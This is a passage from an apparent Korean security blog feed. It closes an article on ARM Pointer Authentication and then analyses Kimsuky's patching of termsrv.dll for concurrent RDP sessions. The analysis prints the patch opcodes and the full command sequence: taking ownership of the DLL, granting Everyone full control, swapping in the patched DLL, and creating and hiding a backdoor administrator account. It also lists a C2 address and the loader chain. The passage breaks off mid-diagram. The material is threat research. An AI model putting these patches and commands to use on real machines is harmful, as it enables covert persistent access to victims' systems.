⑤ 함수 리턴 시 PAC 검증 통과 → 공격 성공&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;교훈:&lt;/strong&gt; PAC의 보안은 &lt;strong&gt;&amp;quot;서명 기능이 공격자에게 노출되지 않아야 한다&amp;quot;&lt;/strong&gt;는 전제에 의존한다. 소프트웨어 설계에서 PACIA 등의 명령어 사용을 신중하게 제한해야 한다.&lt;/p&gt;
&lt;h3&gt;8.3 기타 연구&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;연구&lt;/th&gt;
&lt;th&gt;연도&lt;/th&gt;
&lt;th&gt;공격 방식&lt;/th&gt;
&lt;th&gt;대상&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&amp;quot;Demystifying Pointer Authentication on Apple M1&amp;quot;&lt;/td&gt;
&lt;td&gt;2023 (USENIX Security)&lt;/td&gt;
&lt;td&gt;Apple의 PAC 구현 역공학 + 키 관리 분석&lt;/td&gt;
&lt;td&gt;Apple M1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&amp;quot;PAC it up&amp;quot;&lt;/td&gt;
&lt;td&gt;2019 (USENIX Security)&lt;/td&gt;
&lt;td&gt;PAC의 보안 보장 범위 형식적 분석&lt;/td&gt;
&lt;td&gt;ARM PAC 일반&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;TikTag&lt;/td&gt;
&lt;td&gt;2024 (Black Hat)&lt;/td&gt;
&lt;td&gt;MTE(Memory Tagging Extension) 우회 — PAC와 관련 기법&lt;/td&gt;
&lt;td&gt;ARM MTE&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;9. PAC의 한계와 보완 기술&lt;/h2&gt;
&lt;h3&gt;9.1 PAC 단독의 한계&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;한계&lt;/th&gt;
&lt;th&gt;설명&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;낮은 PAC 비트 폭&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;가상 주소 48비트 시 PAC은 7비트 = 128가지. 브루트포스에 취약&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;투기적 실행 사이드채널&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;PACMAN 공격으로 크래시 없이 PAC 추측 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Signing Oracle&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;소프트웨어 버그로 서명 기능이 노출되면 무력화&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;데이터 전용 공격&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;제어 흐름이 아닌 데이터만 변조하는 DOP(Data-Oriented Programming)에는 무력&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;같은 컨텍스트 내 재사용&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;동일 SP에서 서명된 포인터는 해당 SP 값이 같은 시점에 재사용 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h3&gt;9.2 PAC + MTE (Memory Tagging Extension)&lt;/h3&gt;
&lt;p&gt;ARMv8.5에서 도입된 MTE는 PAC와 상호보완적이다:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PAC: 포인터의 &amp;quot;진위 여부&amp;quot;를 검증 (변조 탐지)
MTE: 포인터와 메모리의 &amp;quot;소유권&amp;quot;을 검증 (공간적 안전성)

┌─────────────────────────────────────────┐
│              PAC + MTE 병합 방어          │
│                                         │
│  [PAC]  리턴 주소 변조? → 크래시         │
│  [MTE]  범위 밖 메모리 접근? → 크래시     │
│                                         │
│  두 기법 모두 우회해야 익스플로잇 성공     │
└──────────────────────────────────────   ──┘&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;9.3 PAC + BTI (Branch Target Identification)&lt;/h3&gt;
&lt;p&gt;ARMv8.5의 BTI는 간접 분기의 착지점(landing pad)을 제한한다:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;방어 기법&lt;/th&gt;
&lt;th&gt;보호 대상&lt;/th&gt;
&lt;th&gt;위협 모델&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;PAC&lt;/td&gt;
&lt;td&gt;리턴 주소, 함수 포인터&lt;/td&gt;
&lt;td&gt;ROP, JOP&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;BTI&lt;/td&gt;
&lt;td&gt;간접 분기 착지점&lt;/td&gt;
&lt;td&gt;JOP (가젯 체이닝 차단)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PAC + BTI&lt;/td&gt;
&lt;td&gt;리턴 + 분기 모두&lt;/td&gt;
&lt;td&gt;ROP + JOP 통합 방어&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;10. 정리: PAC가 바꾼 것과 바꾸지 못한 것&lt;/h2&gt;
&lt;h3&gt;PAC가 바꾼 것&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;하드웨어 수준 CFI(Control Flow Integrity):&lt;/strong&gt; 소프트웨어 CFI의 성능 오버헤드 없이 제어 흐름 보호&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ROP/JOP 공격 비용 극대화:&lt;/strong&gt; PAC 없이는 스택 오버플로우 하나로 가능하던 공격이, PAC 하에서는 사이드 채널 + 메모리 취약점 + 정밀한 타이밍이 동시에 필요&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;산업 표준화:&lt;/strong&gt; Apple, Google(Android), Linux 커널 모두 PAC를 채택하여 ARM 생태계 전반의 보안 수준 상승&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;PAC가 바꾸지 못한 것&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;메모리 안전성 자체:&lt;/strong&gt; PAC는 포인터 변조를 탐지하지만, 버퍼 오버플로우나 Use-After-Free 자체를 방지하지는 않음&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;데이터 전용 공격:&lt;/strong&gt; 제어 흐름을 변경하지 않고 데이터만 조작하는 공격(DOP)에는 무력&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;사이드 채널 내성:&lt;/strong&gt; PACMAN이 증명했듯이, 투기적 실행이라는 현대 CPU의 근본 설계와 충돌&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;한 문장 요약&lt;/h3&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR';&quot;&gt;&lt;p&gt;PAC는 &amp;quot;메모리 취약점이 존재해도 제어 흐름 탈취를 어렵게 만드는&amp;quot; 하드웨어 보호 기법이다. 완벽하지 않지만, 공격의 비용을 극적으로 높인다.&lt;/p&gt;
&lt;/span&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;hr&gt;
&lt;h2&gt;참고 자료&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.arm.com/documentation/109576/latest/Pointer-Authentication-Code/Introduction-to-PAC&quot;&gt;ARM - Pointer Authentication Code Introduction&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://learn.arm.com/learning-paths/servers-and-cloud-computing/pac/pac/&quot;&gt;ARM Learn - Understand Arm Pointer Authentication&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.qualcomm.com/content/dam/qcomm-martech/dm-assets/documents/pointer-auth-v7.pdf&quot;&gt;Qualcomm - Pointer Authentication on ARMv8.3 (Whitepaper)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.kernel.org/arch/arm64/pointer-authentication.html&quot;&gt;Linux Kernel - Pointer Authentication in AArch64 Linux&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://llvm.org/docs/PointerAuth.html&quot;&gt;LLVM - Pointer Auth Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.ret2.io/2021/06/16/intro-to-pac-arm64/&quot;&gt;RET2 Systems - Intro to PAC on ARM64&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://projectzero.google/2019/02/examining-pointer-authentication-on.html&quot;&gt;Google Project Zero - Examining Pointer Authentication on the iPhone XS&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.usenix.org/system/files/sec19fall_liljestrand_prepub.pdf&quot;&gt;USENIX Security 2019 - PAC it up: Towards Pointer Integrity using ARM PAC&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.usenix.org/system/files/usenixsecurity23-cai-zechao.pdf&quot;&gt;USENIX Security 2023 - Demystifying Pointer Authentication on Apple M1&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://pacmanattack.com/paper.pdf&quot;&gt;ISCA 2022 - PACMAN: Attacking ARM Pointer Authentication with Speculative Execution&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://d3fend.mitre.org/technique/d3f:PointerAuthentication/&quot;&gt;MITRE D3FEND - Pointer Authentication&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;</description>
      <category>Documentation &amp;amp; Blog</category>
      <author>KWAKBUMJUN</author>
      <guid isPermaLink="true">https://reversing-study.tistory.com/97</guid>
      <comments>https://reversing-study.tistory.com/97#entry97comment</comments>
      <pubDate>Sun, 5 Apr 2026 23:23:48 +0900</pubDate>
    </item>
    <item>
      <title>김수키(Kimsuky)의 termsrv.dll 패치 기반 내부 침투 전략 분석</title>
      <link>https://reversing-study.tistory.com/96</link>
      <description>&lt;h2&gt;들어가며: 공격자가 &amp;quot;원격 데스크톱&amp;quot;을 좋아하는 이유&lt;/h2&gt;
&lt;p&gt;APT 공격자에게 가장 이상적인 원격 접근 수단은 무엇일까? 커스텀 백도어? C2 셸? 의외로 답은 훨씬 평범하다 — &lt;strong&gt;RDP(Remote Desktop Protocol)&lt;/strong&gt;다.&lt;/p&gt;
&lt;p&gt;RDP는 Windows에 기본 내장되어 있고, 암호화된 정상 프로토콜이며, 관리자들이 일상적으로 사용한다. 트래픽 자체가 의심스럽지 않다. GUI 기반이라 파일 탐색, 문서 열람, 이메일 확인까지 자유롭다. 공격자 입장에서 RAT(Remote Access Trojan)보다 RDP가 더 편하고, 더 안전하다.&lt;/p&gt;
&lt;p&gt;북한 연계 APT 그룹 &lt;strong&gt;Kimsuky(김수키)&lt;/strong&gt;는 이 점을 정확히 간파했다. 그런데 한 가지 문제가 있었다. Windows 데스크톱 에디션은 &lt;strong&gt;RDP 동시 세션을 1개만 허용&lt;/strong&gt;한다. 공격자가 RDP로 접속하는 순간, 피해자의 화면이 잠기고 세션이 끊긴다. 피해자는 즉시 이상을 눈치챈다.&lt;/p&gt;
&lt;p&gt;Kimsuky의 해법은 우아할 정도로 단순했다: &lt;strong&gt;Windows의 세션 제한을 강제하는 시스템 DLL 자체를 바꿔버리는 것.&lt;/strong&gt; 그 DLL이 바로 &lt;code&gt;termsrv.dll&lt;/code&gt;이다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;1. Kimsuky는 누구인가&lt;/h2&gt;
&lt;p&gt;Kimsuky(또는 Black Banshee, Thallium, Velvet Chollima)는 &lt;strong&gt;2013년부터 활동이 확인된 북한 정찰총국 산하 사이버 공작 그룹&lt;/strong&gt;이다. 한국, 일본, 미국의 정부 기관, 싱크탱크, 대학 연구자, 언론인을 주요 대상으로 삼는다.&lt;/p&gt;
&lt;p&gt;이 그룹의 특징은 &amp;quot;기술적 정교함&amp;quot;보다 &lt;strong&gt;&amp;quot;사회공학적 끈기&amp;quot;&lt;/strong&gt;에 있다. 몇 주에 걸쳐 신뢰를 쌓는 이메일 교신 후 악성 첨부파일을 보내는 식이다. 2024~2025년에는 DMARC 미설정 도메인을 악용한 이메일 스푸핑, GitHub를 C2로 활용한 XenoRAT 배포 등 전술을 지속적으로 진화시키고 있다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;최근 Kimsuky의 원격 접근 수단 변천사:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;시기&lt;/th&gt;
&lt;th&gt;주요 원격 접근 수단&lt;/th&gt;
&lt;th&gt;특징&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;~2022&lt;/td&gt;
&lt;td&gt;AppleSeed, Gold Dragon (커스텀 백도어)&lt;/td&gt;
&lt;td&gt;자체 개발, 시그니처 노출 위험&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2023&lt;/td&gt;
&lt;td&gt;xRAT, TinyNuke + TightVNC (오픈소스 악용)&lt;/td&gt;
&lt;td&gt;범용 도구로 귀속 난이도 상승&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2023 하반기~&lt;/td&gt;
&lt;td&gt;RDP Wrapper + Proxy 악성코드&lt;/td&gt;
&lt;td&gt;정상 프로토콜 활용, 네트워크 탐지 우회&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2024~&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;termsrv.dll 직접 패치 + RevClient&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;시스템 DLL 변조, 가장 은밀한 방식&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;이 변천사에서 읽을 수 있는 전략적 방향은 명확하다: &lt;strong&gt;커스텀 악성코드에서 정상 인프라 악용으로&lt;/strong&gt;, &lt;strong&gt;네트워크 기반 탐지가 어려운 방식으로&lt;/strong&gt; 진화하고 있다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;2. termsrv.dll의 정체: RDP의 심장부&lt;/h2&gt;
&lt;h3&gt;2.1 Windows RDP 아키텍처에서의 위치&lt;/h3&gt;
&lt;p&gt;Windows의 원격 데스크톱 서비스(Terminal Services)는 &lt;code&gt;svchost.exe&lt;/code&gt; 프로세스 내에서 호스팅되는 서비스로 동작한다. 이 서비스의 핵심 로직을 담당하는 라이브러리가 바로 &lt;code&gt;C:\Windows\System32\termsrv.dll&lt;/code&gt;이다.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[RDP 클라이언트]
     │
     ▼ (TCP 3389, TLS 암호화)
[RDP 리스너 / 세션 브로커]
     │
     ▼
[svchost.exe -k NetworkService]
     │
     ├── termsrv.dll  ← 세션 관리, 라이선스 검증, 정책 강제
     ├── rdpcorets.dll (RDP 코어 전송)
     └── rdpbase.dll   (기반 라이브러리)
     │
     ▼
[csrss.exe / winlogon.exe / 사용자 세션]&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;code&gt;termsrv.dll&lt;/code&gt;은 다음을 담당한다:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;세션 생성/관리&lt;/strong&gt;: 새 RDP 세션의 생성, 기존 세션 연결, 세션 간 전환&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;라이선스 정책 강제&lt;/strong&gt;: Windows 에디션에 따른 동시 세션 수 제한&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;인증 처리&lt;/strong&gt;: NLA(Network Level Authentication) 등 연결 전 인증 절차&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;세션 격리&lt;/strong&gt;: 각 세션의 데스크톱 환경 격리 보장&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2.2 &amp;quot;한 번에 하나만&amp;quot; — 세션 제한의 기술적 구현&lt;/h3&gt;
&lt;p&gt;Windows Server는 기본 2개, 라이선스 추가 시 무제한 RDP 세션을 허용한다. 하지만 &lt;strong&gt;Windows 10/11 데스크톱 에디션은 단 1개의 세션만 허용&lt;/strong&gt;한다. 이것은 마이크로소프트의 라이선스 정책이며, 기술적으로는 &lt;code&gt;termsrv.dll&lt;/code&gt; 내부의 다음 함수들이 이 제한을 강제한다:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;함수&lt;/th&gt;
&lt;th&gt;역할&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;code&gt;CDefPolicy::Query()&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;핵심.&lt;/strong&gt; 현재 세션 정책을 질의하여 추가 세션 허용 여부 결정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;CSLQuery::Initialize()&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;라이선스 서버 초기화 및 라이선스 유효성 검증&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;CSessionArbitrationHelper::IsSingleSessionPerUserEnabled()&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;사용자당 단일 세션 제한 플래그 확인&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;code&gt;CDefPolicy::Query()&lt;/code&gt;의 정상 동작을 의사코드로 표현하면 이렇다:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;// 정상 CDefPolicy::Query() 의사코드 (단순화)
HRESULT CDefPolicy::Query(/* ... */) {
    // 현재 라이선스 유형 확인
    DWORD licenseType = this-&amp;gt;m_PolicyData[0x3C / sizeof(DWORD)];

    if (licenseType == LICENSE_TYPE_CONCURRENT) {
        // 서버 에디션: 동시 세션 허용
        return S_OK;  // → 세션 생성 진행
    } else {
        // 데스크톱 에디션: 기존 세션 강제 종료 후 새 세션 생성
        return SINGLE_SESSION_ENFORCED;  // → 기존 사용자 로그오프
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;이 함수의 반환 값 하나가 &amp;quot;동시 세션 허용 여부&amp;quot;를 결정한다.&lt;/strong&gt; 공격자의 관점에서, 이 함수가 항상 &amp;quot;서버 에디션&amp;quot;처럼 동작하게 만들면 제한이 사라진다.&lt;/p&gt;
&lt;h3&gt;2.3 패치의 실체: 12바이트의 마법&lt;/h3&gt;
&lt;p&gt;ASEC의 분석에 따르면, Kimsuky가 &lt;code&gt;CDefPolicy::Query()&lt;/code&gt; 내부에 적용한 패치는 다음과 같다:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;패치 전 (정상 바이너리):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;39 81 3C 06 00 00    ; cmp [rcx+0x63C], eax    ← 라이선스 유형 비교
0F 84 E7 43 01 00    ; jz  &amp;lt;single_session&amp;gt;    ← 일치하면 단일 세션 강제로 분기&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;패치 후 (변조된 바이너리):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;B8 00 01 00 00       ; mov eax, 0x100          ← eax에 0x100(성공 코드) 저장
89 81 38 06 00 00    ; mov [rcx+0x638], eax    ← 정책 데이터에 성공 값 강제 기록
90                   ; nop                     ← 나머지 바이트 패딩&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;이 12바이트 패치가 하는 일을 풀어 설명하면:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;원래 코드는 &lt;code&gt;[rcx+0x63C]&lt;/code&gt;에 저장된 라이선스 유형을 &lt;code&gt;eax&lt;/code&gt;와 비교(&lt;code&gt;cmp&lt;/code&gt;)한다.&lt;/li&gt;
&lt;li&gt;비교 결과가 같으면(&lt;code&gt;jz&lt;/code&gt;, jump if zero) 단일 세션 강제 루틴으로 분기한다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;패치된 코드는 이 비교와 조건 분기를 완전히 제거&lt;/strong&gt;하고, 대신 성공을 의미하는 값(&lt;code&gt;0x100&lt;/code&gt;)을 정책 데이터 구조체에 직접 써넣는다.&lt;/li&gt;
&lt;li&gt;결과적으로 &lt;code&gt;CDefPolicy::Query()&lt;/code&gt;는 &lt;strong&gt;항상 &amp;quot;동시 세션 허용&amp;quot; 결과를 반환&lt;/strong&gt;하게 된다.&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;[정상 실행 흐름]
CDefPolicy::Query() → 라이선스 확인 → 데스크톱 에디션 → 단일 세션 강제
                                                         ↓
                                              기존 사용자 강제 로그오프

[패치 후 실행 흐름]
CDefPolicy::Query() → (비교 건너뜀) → 항상 다중 세션 허용
                                         ↓
                              공격자와 피해자가 동시에 로그인 상태 유지&lt;/code&gt;&lt;/pre&gt;&lt;hr&gt;
&lt;h2&gt;3. 전체 공격 흐름: 스피어 피싱에서 은밀한 동거까지&lt;/h2&gt;
&lt;p&gt;Kimsuky의 termsrv.dll 패치 공격은 독립적으로 수행되지 않는다. 이것은 다단계 침투 작전의 한 파트이며, 최종 목표인 &amp;quot;장기 은밀 접근&amp;quot;을 위한 인프라 구축 단계에 해당한다.&lt;/p&gt;
&lt;h3&gt;Phase 1: 초기 침투 — 스피어 피싱&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;[공격자] --→ 사전 조사 (LinkedIn, 학회 발표, 논문 저자)
    │
    ▼
&amp;quot;○○ 교수님, 최근 논문 관련 문의드립니다&amp;quot; (1~2주간 정상적인 이메일 교신)
    │
    ▼
&amp;quot;참고 자료 보내드립니다&amp;quot; → 문의사항.docx.lnk (이중 확장자 LNK 파일)
                          20241015_56801.docx.lnk
                          CSO_20240524.xlsx.lnk&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;LNK 파일은 실행 시 PowerShell 또는 Mshta를 통해 공격자의 C2 서버에서 추가 스크립트를 다운로드한다. 최근에는 Google Drive를 경유하는 사례도 확인되었다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;초기 정찰 스크립트 (hwp.bat):&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;WMIC 명령으로 설치된 안티바이러스 제품 확인&lt;/li&gt;
&lt;li&gt;시스템 정보 수집 후 C2로 전송&lt;/li&gt;
&lt;li&gt;안티바이러스 종류에 따라 후속 페이로드 선택&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Phase 2: 거점 확보 — 백도어 &amp;amp; 키로거&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;구성 요소&lt;/th&gt;
&lt;th&gt;파일명&lt;/th&gt;
&lt;th&gt;역할&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;키로거&lt;/td&gt;
&lt;td&gt;&lt;code&gt;k.ps1&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;키보드 입력을 &lt;code&gt;%APPDATA%\k.log&lt;/code&gt;에 저장&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;키로거 런처&lt;/td&gt;
&lt;td&gt;&lt;code&gt;OneNote.vbs&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;k.ps1을 주기적으로 실행&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;로더&lt;/td&gt;
&lt;td&gt;&lt;code&gt;pow.ps1&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;암호화된 인젝터(&lt;code&gt;desktop.r7u&lt;/code&gt;)를 복호화&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;인젝터&lt;/td&gt;
&lt;td&gt;&lt;code&gt;desktop.r7u&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;MSBuild.exe에 RAT 인젝션&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;최종 페이로드&lt;/td&gt;
&lt;td&gt;&lt;code&gt;desktop.r3u&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;xRAT 또는 KimJongRAT (암호화 상태)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;실행 체인:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hwp.bat → OneNote.vbs + pow.ps1 설치
              │              │
              ▼              ▼
         k.ps1 실행     desktop.r7u 복호화
         (키로거)            │
                             ▼
                    MSBuild.exe에 xRAT 인젝션
                    (정상 프로세스 위장)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;최근 변종에서는 &lt;strong&gt;PebbleDash&lt;/strong&gt; 백도어를 활용하는 사례도 확인되었다. PebbleDash는 원래 Lazarus 그룹이 사용하던 도구인데, 2024년부터 Kimsuky가 재활용하기 시작했다. 주목할 점은 실행 방식의 변화다: 기존 &lt;code&gt;regsvr32.exe&lt;/code&gt;를 통한 DLL 실행에서 &lt;strong&gt;LSA(Local Security Authority) 레지스트리에 DLL을 등록하여 &lt;code&gt;lsass.exe&lt;/code&gt; 프로세스가 로드하는 방식&lt;/strong&gt;으로 전환했다. &lt;code&gt;lsass.exe&lt;/code&gt;는 보안상 중요한 시스템 프로세스라 보안 제품이 함부로 종료하거나 검사하기 어렵다는 점을 악용한 것이다.&lt;/p&gt;
&lt;h3&gt;Phase 3: RDP 인프라 구축 — termsrv.dll 패치&lt;/h3&gt;
&lt;p&gt;이 단계가 본 보고서의 핵심이다. 공격자는 &lt;code&gt;multiple.exe&lt;/code&gt;라는 전용 도구를 사용한다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;multiple.exe의 PDB 경로 (개발 환경 흔적):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Z:\5-program\multiple\multisession_complete\Release\x64\Multisession.pdb
G:\0711_uac_multiple_work\multisession_complete\x64\Release\Multisession.pdb&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;이 PDB 경로에서 읽을 수 있는 정보:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;5-program&lt;/code&gt;: 공격자의 도구 분류 체계에서 5번째 카테고리&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0711_uac_multiple_work&lt;/code&gt;: 7월 11일에 UAC 우회 + 다중 세션 기능을 작업&lt;/li&gt;
&lt;li&gt;&lt;code&gt;multisession_complete&lt;/code&gt;: 다중 세션 패치가 도구의 핵심 목적임을 명시&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;multiple.exe 동작 순서:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;① RDP 서비스 종료
   └── net stop TermService /y

② termsrv.dll 파일 권한 획득
   └── takeown /f C:\Windows\System32\termsrv.dll
   └── icacls C:\Windows\System32\termsrv.dll /grant Everyone:F

③ 원본 파일 백업 (이름 변경)
   └── rename C:\Windows\System32\termsrv.dll → termsrv.pdb

④ 패치된 DLL 복사
   └── copy %APPDATA%\termsrv.dll → C:\Windows\System32\termsrv.dll

⑤ RDP 서비스 재시작
   └── net start TermService

⑥ 은닉 계정 생성
   └── net user IIS_USER [password] /add
   └── net localgroup Administrators IIS_USER /add
   └── reg add &amp;quot;HKLM\...\SpecialAccounts\UserList&amp;quot; /v IIS_USER /t REG_DWORD /d 0&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;계정 은닉의 핵심:&lt;/strong&gt; &lt;code&gt;SpecialAccounts\UserList&lt;/code&gt; 레지스트리에 값 &lt;code&gt;0&lt;/code&gt;으로 등록하면, 해당 계정은 Windows 로그인 화면에 표시되지 않는다. &lt;code&gt;IIS_USER&lt;/code&gt;라는 이름은 IIS 웹 서버의 기본 서비스 계정처럼 보이도록 의도한 위장이다.&lt;/p&gt;
&lt;h3&gt;Phase 4: 은밀한 접근 경로 확보 — RevClient&lt;/h3&gt;
&lt;p&gt;termsrv.dll 패치로 다중 세션이 가능해졌지만, 외부에서 피해자 네트워크의 RDP 포트(3389)에 직접 접근하는 것은 방화벽에 막힐 수 있다. Kimsuky는 이를 해결하기 위해 &lt;strong&gt;RevClient&lt;/strong&gt;라는 자체 제작 포트 포워딩 도구를 배포한다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;RevClient v1.0 설정 정보:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;버전: 1.0
뮤텍스: ZhengReversePC
C2: 5.61.59[.]53:2086
로컬 RDP: 127.0.0.2:3389&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;동작 원리 — 리버스 터널링:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[공격자 PC]                    [C2 서버]                    [감염 시스템]
     │                      5.61.59.53:2086                     │
     │                            │                             │
     │    RDP 클라이언트 연결 ──→ │ ←── RevClient 역방향 연결    │
